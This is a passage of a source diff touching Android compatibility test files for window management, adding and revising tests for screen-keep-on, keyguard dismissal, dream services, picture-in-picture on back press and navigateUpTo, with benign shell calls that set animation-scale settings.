- executeShellCommand(startActivityCommand);
- mWmState.waitForValidState(CUSTOM_TRANSITION_EXIT_ACTIVITY);
- }
-
- protected Bitmap screenshotTransition() {
- final TestJournalProvider.TestJournal journal = TestJournalProvider.TestJournalContainer
- .get(CUSTOM_TRANSITION_EXIT_ACTIVITY);
- try {
- TestUtils.waitUntil("Waiting for app to request transition",
- 15 /* timeoutSecond */,
- () -> journal.extras.getBoolean(TRANSITION_REQUESTED));
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
-
- // The activity transition is set to last 5 seconds, wait half a second to make sure
- // the activity transition has started after we receive confirmation through the test
- // journal that we have requested to start a new activity.
- SystemClock.sleep(500);
-
- // Take a screenshot during the transition where we hide both the activities to just
- // show the background of the transition which is set to be white.
- return takeScreenshot();
- }
-
- protected void assertAppRegionOfScreenIsColor(Bitmap screen, int color) {
- final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
-
- for (int x = 0; x < screen.getWidth(); x++) {
- for (int y = fullyVisibleBounds.top;
- y < fullyVisibleBounds.bottom; y++) {
- final Color rawColor = screen.getColor(x, y);
- final Color sRgbColor;
- if (!rawColor.getColorSpace().equals(ColorSpace.get(ColorSpace.Named.SRGB))) {
- // Conversion is required because the color space of the screenshot may be in
- // the DCI-P3 color space or some other color space and we want to compare the
- // color against once in the SRGB color space, so we must convert the color back
- // to the SRGB color space.
- sRgbColor = screen.getColor(x, y)
- .convert(ColorSpace.get(ColorSpace.Named.SRGB));
- } else {
- sRgbColor = rawColor;
- }
- final Color expectedColor = Color.valueOf(color);
- assertArrayEquals("Screen pixel (" + x + ", " + y + ") is not the right color",
- new float[] {
- expectedColor.red(), expectedColor.green(), expectedColor.blue() },
- new float[] { sRgbColor.red(), sRgbColor.green(), sRgbColor.blue() },
- 0.03f); // need to allow for some variation stemming from conversions
- }
- }
- }
-
- protected Rect getActivityFullyVisibleRegion() {
- final List<WindowManagerState.WindowState> windows = getWmState().getWindows();
- Optional<WindowManagerState.WindowState> screenDecorOverlay =
- windows.stream().filter(
- w -> w.getName().equals("ScreenDecorOverlay")).findFirst();
- Optional<WindowManagerState.WindowState> screenDecorOverlayBottom =
- windows.stream().filter(
- w -> w.getName().equals("ScreenDecorOverlayBottom")).findFirst();
- getWmState().getWindowStateForAppToken("screenDecorOverlay");
-
- final int screenDecorOverlayHeight = screenDecorOverlay.map(
- WindowManagerState.WindowState::getRequestedHeight).orElse(0);
- final int screenDecorOverlayBottomHeight = screenDecorOverlayBottom.map(
- WindowManagerState.WindowState::getRequestedHeight).orElse(0);
-
- final Rect activityBounds = getWmState().getActivity(CUSTOM_TRANSITION_EXIT_ACTIVITY)
- .getBounds();
-
- return new Rect(activityBounds.left, activityBounds.top + screenDecorOverlayHeight,
- activityBounds.right, activityBounds.bottom - screenDecorOverlayBottomHeight);
- }
-
- private void setDefaultAnimationScale() {
- mInitialWindowAnimationScale =
- runShellCommandSafe("settings get global window_animation_scale");
- mInitialTransitionAnimationScale =
- runShellCommandSafe("settings get global transition_animation_scale");
- mInitialAnimatorDurationScale =
- runShellCommandSafe("settings get global animator_duration_scale");
-
- if (!mInitialWindowAnimationScale.equals("1")
- || !mInitialTransitionAnimationScale.equals("1")
- || !mInitialAnimatorDurationScale.equals("1")) {
- mAnimationScaleResetRequired = true;
- runShellCommandSafe("settings put global window_animation_scale 1");
- runShellCommandSafe("settings put global transition_animation_scale 1");
- runShellCommandSafe("settings put global animator_duration_scale 1");
- }
- }
-
- private void restoreAnimationScale() {
- if (mAnimationScaleResetRequired) {
- runShellCommandSafe("settings put global window_animation_scale "
- + mInitialWindowAnimationScale);
- runShellCommandSafe("settings put global transition_animation_scale "
- + mInitialTransitionAnimationScale);
- runShellCommandSafe("settings put global animator_duration_scale "
- + mInitialAnimatorDurationScale);
- }
- }
-
- private static String runShellCommandSafe(String cmd) {
- try {
- return runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
- } catch (IOException e) {
- fail("Failed reading command output: " + e);
- return "";
- }
- }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
index e8773ff..e3ff94d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
@@ -83,7 +83,7 @@
startFullscreenTestActivity();
mDreamActivityName = mDreamCoordinator.setActiveDream(TEST_DREAM_SERVICE);
- mDreamCoordinator.startDream(TEST_DREAM_SERVICE);
+ mDreamCoordinator.startDream();
waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
"Dream activity should be the top resumed activity");
mWmState.waitForValidState(mWmState.getHomeActivityName());
@@ -104,7 +104,7 @@
public void testDreamServiceStopsTimely() throws Exception {
mDreamActivityName = mDreamCoordinator.setActiveDream(TEST_DREAM_SERVICE);
- mDreamCoordinator.startDream(TEST_DREAM_SERVICE);
+ mDreamCoordinator.startDream();
waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
"Dream activity should be the top resumed activity");
mWmState.waitForValidState(mWmState.getHomeActivityName());
@@ -124,7 +124,7 @@
startFullscreenTestActivity();
mDreamActivityName = mDreamCoordinator.setActiveDream(TEST_STUBBORN_DREAM_SERVICE);
- mDreamCoordinator.startDream(TEST_STUBBORN_DREAM_SERVICE);
+ mDreamCoordinator.startDream();
waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
"Dream activity should be the top resumed activity");
mWmState.waitForValidState(mWmState.getHomeActivityName());
@@ -149,7 +149,7 @@
final RotationSession rotationSession = createManagedRotationSession();
rotationSession.set(Surface.ROTATION_0);
mDreamActivityName = mDreamCoordinator.setActiveDream(TEST_DREAM_SERVICE);
- mDreamCoordinator.startDream(TEST_DREAM_SERVICE);
+ mDreamCoordinator.startDream();
rotationSession.set(Surface.ROTATION_90);
waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
@@ -243,7 +243,7 @@
private class DreamingState implements AutoCloseable {
public DreamingState(ComponentName dream) {
mDreamActivityName = mDreamCoordinator.setActiveDream(dream);
- mDreamCoordinator.startDream(dream);
+ mDreamCoordinator.startDream();
waitAndAssertDreaming();
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeepScreenOnTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeepScreenOnTests.java
new file mode 100644
index 0000000..a97399e
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeepScreenOnTests.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.provider.Settings.System.SCREEN_OFF_TIMEOUT;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TURN_SCREEN_ON_ACTIVITY;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Intent;
+import android.content.res.Resources;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.provider.Settings;
+
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class KeepScreenOnTests extends MultiDisplayTestBase {
+ private static final String TAG = "KeepScreenOnTests";
+ private String mInitialDisplayTimeout;
+ private PowerManager mPowerManager;
+
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+ mInitialDisplayTimeout =
+ Settings.System.getString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT);
+ mPowerManager = mContext.getSystemService(PowerManager.class);
+ }
+
+ @After
+ public void tearDown() {
+ setScreenOffTimeoutMs(mInitialDisplayTimeout);
+ }
+
+ @ApiTest(apis = "android.view.WindowManager.LayoutParams#FLAG_KEEP_SCREEN_ON")
+ @Test
+ public void testKeepScreenOn_activityOnDefaultDisplay_screenStaysOn() {
+ setScreenOffTimeoutMs("500");
+ launchActivity(TURN_SCREEN_ON_ACTIVITY);
+ assertTrue(mPowerManager.isInteractive());
+
+ SystemClock.sleep(getMinimumScreenOffTimeoutMs());
+
+ assertTrue(mPowerManager.isInteractive());
+ mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+ }
+
+ @ApiTest(apis = "android.view.WindowManager.LayoutParams#FLAG_KEEP_SCREEN_ON")
+ @Test
+ public void testKeepScreenOn_activityNotForeground_screenTurnsOff() {
+ setScreenOffTimeoutMs("500");
+
+ launchActivity(TURN_SCREEN_ON_ACTIVITY);
+ assertTrue(mPowerManager.isInteractive());
+ try (BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(mContext,
+ Intent.ACTION_SCREEN_OFF).register()) {
+ launchActivity(TEST_ACTIVITY);
+ }
+ mWmState.waitAndAssertVisibilityGone(TURN_SCREEN_ON_ACTIVITY);
+ assertFalse(mPowerManager.isInteractive());
+ }
+
+ @ApiTest(apis = "android.view.WindowManager.LayoutParams#FLAG_KEEP_SCREEN_ON")
+ @Test
+ public void testKeepScreenOn_activityOnVirtualDisplay_screenStaysOn() {
+ assumeTrue(supportsMultiDisplay());
+ setScreenOffTimeoutMs("500");
+
+ final WindowManagerState.DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
+ launchActivityOnDisplay(TURN_SCREEN_ON_ACTIVITY, newDisplay.mId);
+ mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+ assertTrue(mPowerManager.isInteractive());
+
+ SystemClock.sleep(getMinimumScreenOffTimeoutMs());
+
+ assertTrue(mPowerManager.isInteractive());
+ mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+ }
+
+ @ApiTest(apis = "android.view.WindowManager.LayoutParams#FLAG_KEEP_SCREEN_ON")
+ @Test
+ public void testKeepScreenOn_activityOnVirtualDisplayNotForeground_screenTurnsOff() {
+ assumeTrue(supportsMultiDisplay());
+ setScreenOffTimeoutMs("500");
+
+ final WindowManagerState.DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
+ launchActivityOnDisplay(TURN_SCREEN_ON_ACTIVITY, newDisplay.mId);
+ assertTrue(mPowerManager.isInteractive());
+ try (BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(mContext,
+ Intent.ACTION_SCREEN_OFF).register()) {
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ }
+ mWmState.waitAndAssertVisibilityGone(TURN_SCREEN_ON_ACTIVITY);
+ assertFalse(mPowerManager.isInteractive());
+ }
+
+ private void setScreenOffTimeoutMs(String timeoutMs) {
+ Settings.System.putString(
+ mContext.getContentResolver(), SCREEN_OFF_TIMEOUT, timeoutMs);
+ }
+
+ private int getMinimumScreenOffTimeoutMs() {
+ return mContext.getResources().getInteger(
+ Resources.getSystem().getIdentifier("config_minimumScreenOffTimeout", "integer",
+ "android"));
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index 3062980..9c8d7e9 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -33,6 +33,7 @@
import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ATTR_ACTIVITY;
import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY;
import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_DIALOG_ACTIVITY;
+import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY;
import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY;
import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY;
import static android.server.wm.app.Components.TEST_ACTIVITY;
@@ -44,9 +45,7 @@
import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import static org.mockito.ArgumentMatchers.anyBoolean;
import static org.mockito.Mockito.never;
@@ -61,7 +60,6 @@
import android.platform.test.annotations.Presubmit;
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.CommandSession.ActivitySessionClient;
-import android.server.wm.WindowManagerState.WindowState;
import android.server.wm.app.Components;
import androidx.test.filters.FlakyTest;
@@ -195,16 +193,13 @@
*/
@Test
public void testTranslucentShowWhenLockedActivity() {
- // TODO(b/209906849) remove assumeFalse after issue fix.
- assumeFalse(ENABLE_SHELL_TRANSITIONS);
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
launchActivity(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
mWmState.computeState(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
mWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
- mWmState.computeState();
mWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
- assertWallpaperShowing();
+ mWmState.waitAndAssertWindowShown(TYPE_WALLPAPER, true);
mWmState.assertKeyguardShowingAndOccluded();
}
@@ -229,16 +224,13 @@
@Test
public void testDialogShowWhenLockedActivity() {
- // TODO(b/209906849) remove assumeFalse after issue fix.
- assumeFalse(ENABLE_SHELL_TRANSITIONS);
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
launchActivity(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY);
mWmState.computeState(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY);
mWmState.assertVisibility(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, true);
- lockScreenSession.gotoKeyguard();
- mWmState.computeState();
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY);
mWmState.assertVisibility(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, true);
- assertWallpaperShowing();
+ mWmState.waitAndAssertWindowShown(TYPE_WALLPAPER, true);
mWmState.assertKeyguardShowingAndOccluded();
}
@@ -480,6 +472,7 @@
assertTrue(mWmState.getKeyguardControllerState().keyguardShowing);
assertFalse(isDisplayOn(DEFAULT_DISPLAY));
}
+
/**
* Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
*/
@@ -555,6 +548,20 @@
}
@Test
+ public void testDismissKeyguard_fromActivityOption_onlyOnce() {
+ // TODO(b/228431314): Move this test from CTS to flicker test.
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+
+ lockScreenSession.gotoKeyguard();
+ launchActivityWithDismissKeyguard(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+ mWmState.computeState(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+ mWmState.assertVisibility(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY, true);
+
+ lockScreenSession.gotoKeyguard();
+ assertFalse(mWmState.getKeyguardControllerState().mKeyguardGoingAway);
+ }
+
+ @Test
public void testKeyguardLock() {
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
lockScreenSession.gotoKeyguard();
@@ -600,13 +607,6 @@
mWmState.waitAndAssertActivityRemoved(SHOW_WHEN_LOCKED_ACTIVITY);
}
- private void assertWallpaperShowing() {
- WindowState wallpaper =
- mWmState.findFirstWindowWithType(TYPE_WALLPAPER);
- assertNotNull(wallpaper);
- assertTrue(wallpaper.isSurfaceShown());
- }
-
@Test
public void testDismissKeyguardAttrActivity_method_turnScreenOn() {
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
index b585c04..0a2298c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
@@ -36,6 +36,8 @@
import android.platform.test.annotations.Presubmit;
+import androidx.test.filters.FlakyTest;
+
import org.junit.Before;
import org.junit.Test;
@@ -105,6 +107,16 @@
mWmState.getDefaultDisplayLastTransition());
}
+ @FlakyTest(bugId = 238776938)
+ @Test
+ public void testDismissKeyguard() {
+ createManagedLockScreenSession().gotoKeyguard();
+ launchActivityWithDismissKeyguard(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+ mWmState.computeState(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
+ mWmState.getDefaultDisplayLastTransition());
+ }
+
@Test
public void testNewActivityDuringOccluded() {
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
@@ -117,6 +129,18 @@
}
@Test
+ public void testNewDismissKeyguardActivityDuringOccluded() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+ launchActivityWithDismissKeyguard(
+ SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
+ mWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
+ assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+ mWmState.getDefaultDisplayLastTransition());
+ }
+
+ @Test
public void testOccludeManifestAttr() {
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
lockScreenSession.gotoKeyguard();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index ad931ec..1c21598 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -207,10 +207,8 @@
*/
@Test
public void testLaunchExternalDisplayActivityWhilePrimaryOff() {
- if (isOperatorTierDevice()) {
- // This test is not applicable for the device who uses launch_after_boot configuration
- return;
- }
+ // Leanback devices may launch a live broadcast app during screen off-on cycles.
+ final boolean mayLaunchActivityOnScreenOff = isLeanBack();
// Launch something on the primary display so we know there is a resumed activity there
launchActivity(RESIZEABLE_ACTIVITY);
@@ -223,10 +221,12 @@
displayStateSession.turnScreenOff();
// Make sure there is no resumed activity when the primary display is off
- waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
- "Activity launched on primary display must be stopped after turning off");
- assertEquals("Unexpected resumed activity",
- 0, mWmState.getResumedActivitiesCount());
+ if (!mayLaunchActivityOnScreenOff) {
+ waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mWmState.getResumedActivitiesCount());
+ }
final DisplayContent newDisplay = externalDisplaySession
.setCanShowWithInsecureKeyguard(true).createVirtualDisplay();
@@ -236,8 +236,10 @@
// Check that the test activity is resumed on the external display
waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
"Activity launched on external display must be resumed");
- mWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
- RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
+ if (!mayLaunchActivityOnScreenOff) {
+ mWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
+ RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
+ }
}
/**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 7182add..921ff3e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -29,6 +29,7 @@
import static android.server.wm.CliIntentExtra.extraString;
import static android.server.wm.ComponentNameUtils.getActivityName;
import static android.server.wm.ComponentNameUtils.getWindowName;
+import static android.server.wm.UiDeviceUtils.pressBackButton;
import static android.server.wm.UiDeviceUtils.pressWindowButton;
import static android.server.wm.WindowManagerState.STATE_PAUSED;
import static android.server.wm.WindowManagerState.STATE_RESUMED;
@@ -60,6 +61,7 @@
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_BACK_PRESSED;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PAUSE;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
@@ -328,6 +330,34 @@
}
@Test
+ public void testEnterPipOnBackPressed() {
+ // Launch a PiP activity that calls enterPictureInPictureMode when it receives
+ // onBackPressed callback.
+ launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_BACK_PRESSED, "true"));
+
+ assertEnterPipOnBackPressed(PIP_ACTIVITY);
+ }
+
+ @Test
+ public void testEnterPipOnBackPressedWithAutoPipEnabled() {
+ // Launch the PIP activity that calls enterPictureInPictureMode when it receives
+ // onBackPressed callback and set its pip params to allow auto-pip.
+ launchActivity(PIP_ACTIVITY,
+ extraString(EXTRA_ALLOW_AUTO_PIP, "true"),
+ extraString(EXTRA_ENTER_PIP_ON_BACK_PRESSED, "true"));
+
+ assertEnterPipOnBackPressed(PIP_ACTIVITY);
+ }
+
+ private void assertEnterPipOnBackPressed(ComponentName componentName) {
+ // Press the back button.
+ pressBackButton();
+ // Assert that we have entered PiP.
+ waitForEnterPipAnimationComplete(componentName);
+ assertPinnedStackExists();
+ }
+
+ @Test
public void testEnterExpandedPipAspectRatio() {
assumeTrue(supportsExpandedPip());
launchActivity(PIP_ACTIVITY,
@@ -565,7 +595,7 @@
public void testDisallowPipLaunchFromStoppedActivity() {
// Launch the bottom pip activity which will launch a new activity on top and attempt to
// enter pip when it is stopped
- launchActivity(PIP_ON_STOP_ACTIVITY);
+ launchActivityNoWait(PIP_ON_STOP_ACTIVITY);
// Wait for the bottom pip activity to be stopped
mWmState.waitForActivityState(PIP_ON_STOP_ACTIVITY, STATE_STOPPED);
@@ -694,7 +724,7 @@
// Launch the PIP activity on pause, and have it start another activity on
// top of itself. Wait for the new activity to be visible and ensure that the pinned stack
// was not created in the process
- launchActivity(PIP_ACTIVITY,
+ launchActivityNoWait(PIP_ACTIVITY,
extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
extraString(EXTRA_START_ACTIVITY, getActivityName(NON_RESIZEABLE_ACTIVITY)));
mWmState.computeState(
@@ -714,9 +744,11 @@
// Launch the PIP activity on pause, and set it to finish itself after
// some period. Wait for the previous activity to be visible, and ensure that the pinned
// stack was not created in the process
- launchActivity(PIP_ACTIVITY,
+ launchActivityNoWait(PIP_ACTIVITY,
extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
extraString(EXTRA_FINISH_SELF_ON_RESUME, "true"));
+ mWmState.computeState(
+ new WaitForValidActivityState(TEST_ACTIVITY));
assertPinnedStackDoesNotExist();
}
@@ -1016,7 +1048,7 @@
*/
@Test
public void testPipFromTaskWithAnotherFinishingActivity() {
- launchActivity(LAUNCH_ENTER_PIP_ACTIVITY,
+ launchActivityNoWait(LAUNCH_ENTER_PIP_ACTIVITY,
extraString(EXTRA_FINISH_SELF_ON_RESUME, "true"));
waitForEnterPip(PIP_ACTIVITY);
@@ -1108,8 +1140,7 @@
waitForOrFail("Task in lock mode", () -> {
return mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE;
});
- mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
- waitForEnterPip(PIP_ACTIVITY);
+ mBroadcastActionTrigger.enterPipAndWait();
assertPinnedStackDoesNotExist();
launchHomeActivityNoWait();
mWmState.computeState();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 6ec900c..ed2d610 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -55,6 +55,8 @@
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.intent.Activities;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Test;
import java.util.Arrays;
@@ -208,13 +210,25 @@
* activity because the caller C in different uid cannot launch a non-exported activity.
*/
@Test
+ @ApiTest(apis = {"android.app.Activity#navigateUpTo"})
public void testStartActivityByNavigateUpToFromDiffUid() {
- final Intent intent1 = new Intent(mContext, Activities.RegularActivity.class);
+ final Intent rootIntent = new Intent(mContext, Activities.RegularActivity.class);
final String regularActivityName = Activities.RegularActivity.class.getName();
final TestActivitySession<Activities.RegularActivity> activitySession1 =
createManagedTestActivitySession();
- activitySession1.launchTestActivityOnDisplaySync(regularActivityName, intent1,
+ activitySession1.launchTestActivityOnDisplaySync(regularActivityName, rootIntent,
DEFAULT_DISPLAY);
+
+ final Intent navIntent = new Intent(mContext, Activities.RegularActivity.class);
+ verifyNavigateUpTo(activitySession1, navIntent);
+
+ navIntent.addFlags(FLAG_ACTIVITY_CLEAR_TOP);
+ verifyNavigateUpTo(activitySession1, navIntent);
+ assertFalse("#onNewIntent cannot be called",
+ activitySession1.getActivity().mIsOnNewIntentCalled);
+ }
+
+ private void verifyNavigateUpTo(TestActivitySession rootActivitySession, Intent navIntent) {
final TestActivitySession<Activities.SingleTopActivity> activitySession2 =
createManagedTestActivitySession();
activitySession2.launchTestActivityOnDisplaySync(Activities.SingleTopActivity.class,
@@ -232,14 +246,14 @@
});
final Bundle data = new Bundle();
- data.putParcelable(EXTRA_INTENT, intent1);
+ data.putParcelable(EXTRA_INTENT, navIntent);
activitySession3.sendCommand(COMMAND_NAVIGATE_UP_TO, data);
- waitAndAssertTopResumedActivity(intent1.getComponent(), DEFAULT_DISPLAY,
- "navigateUpTo should return to the first activity");
+ waitAndAssertTopResumedActivity(rootActivitySession.getActivity().getComponentName(),
+ DEFAULT_DISPLAY, "navigateUpTo should return to the first activity");
// Make sure the resumed first activity is the original instance.
assertFalse("The target of navigateUpTo should not be destroyed",
- activitySession1.getActivity().isDestroyed());
+ rootActivitySession.getActivity().isDestroyed());
// The activities above the first one should be destroyed.
mWmState.waitAndAssertActivityRemoved(
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
index d49948f..4484568 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
@@ -16,10 +16,13 @@
package android.server.wm;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.server.wm.TaskFragmentOrganizerTestBase.assertEmptyTaskFragment;
+import static android.server.wm.TaskFragmentOrganizerTestBase.assumeExtensionVersionAtLeast2;
import static android.server.wm.TaskFragmentOrganizerTestBase.getActivityToken;
+import static android.server.wm.TaskFragmentOrganizerTestBase.startNewActivity;
import static android.server.wm.WindowManagerState.STATE_RESUMED;
import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
import static android.server.wm.app30.Components.SDK_30_TEST_ACTIVITY;
@@ -30,9 +33,9 @@
import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThrows;
import android.app.Activity;
-import android.app.Instrumentation;
import android.content.ComponentName;
import android.content.Intent;
import android.graphics.Rect;
@@ -50,9 +53,10 @@
import android.window.WindowContainerToken;
import android.window.WindowContainerTransaction;
-import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -70,8 +74,10 @@
@RunWith(AndroidJUnit4.class)
@Presubmit
public class TaskFragmentOrganizerPolicyTest extends ActivityManagerTestBase {
+
private TaskOrganizer mTaskOrganizer;
private BasicTaskFragmentOrganizer mTaskFragmentOrganizer;
+ private final ArrayList<BasicTaskFragmentOrganizer> mOrganizers = new ArrayList<>();
@Before
@Override
@@ -79,102 +85,592 @@
super.setUp();
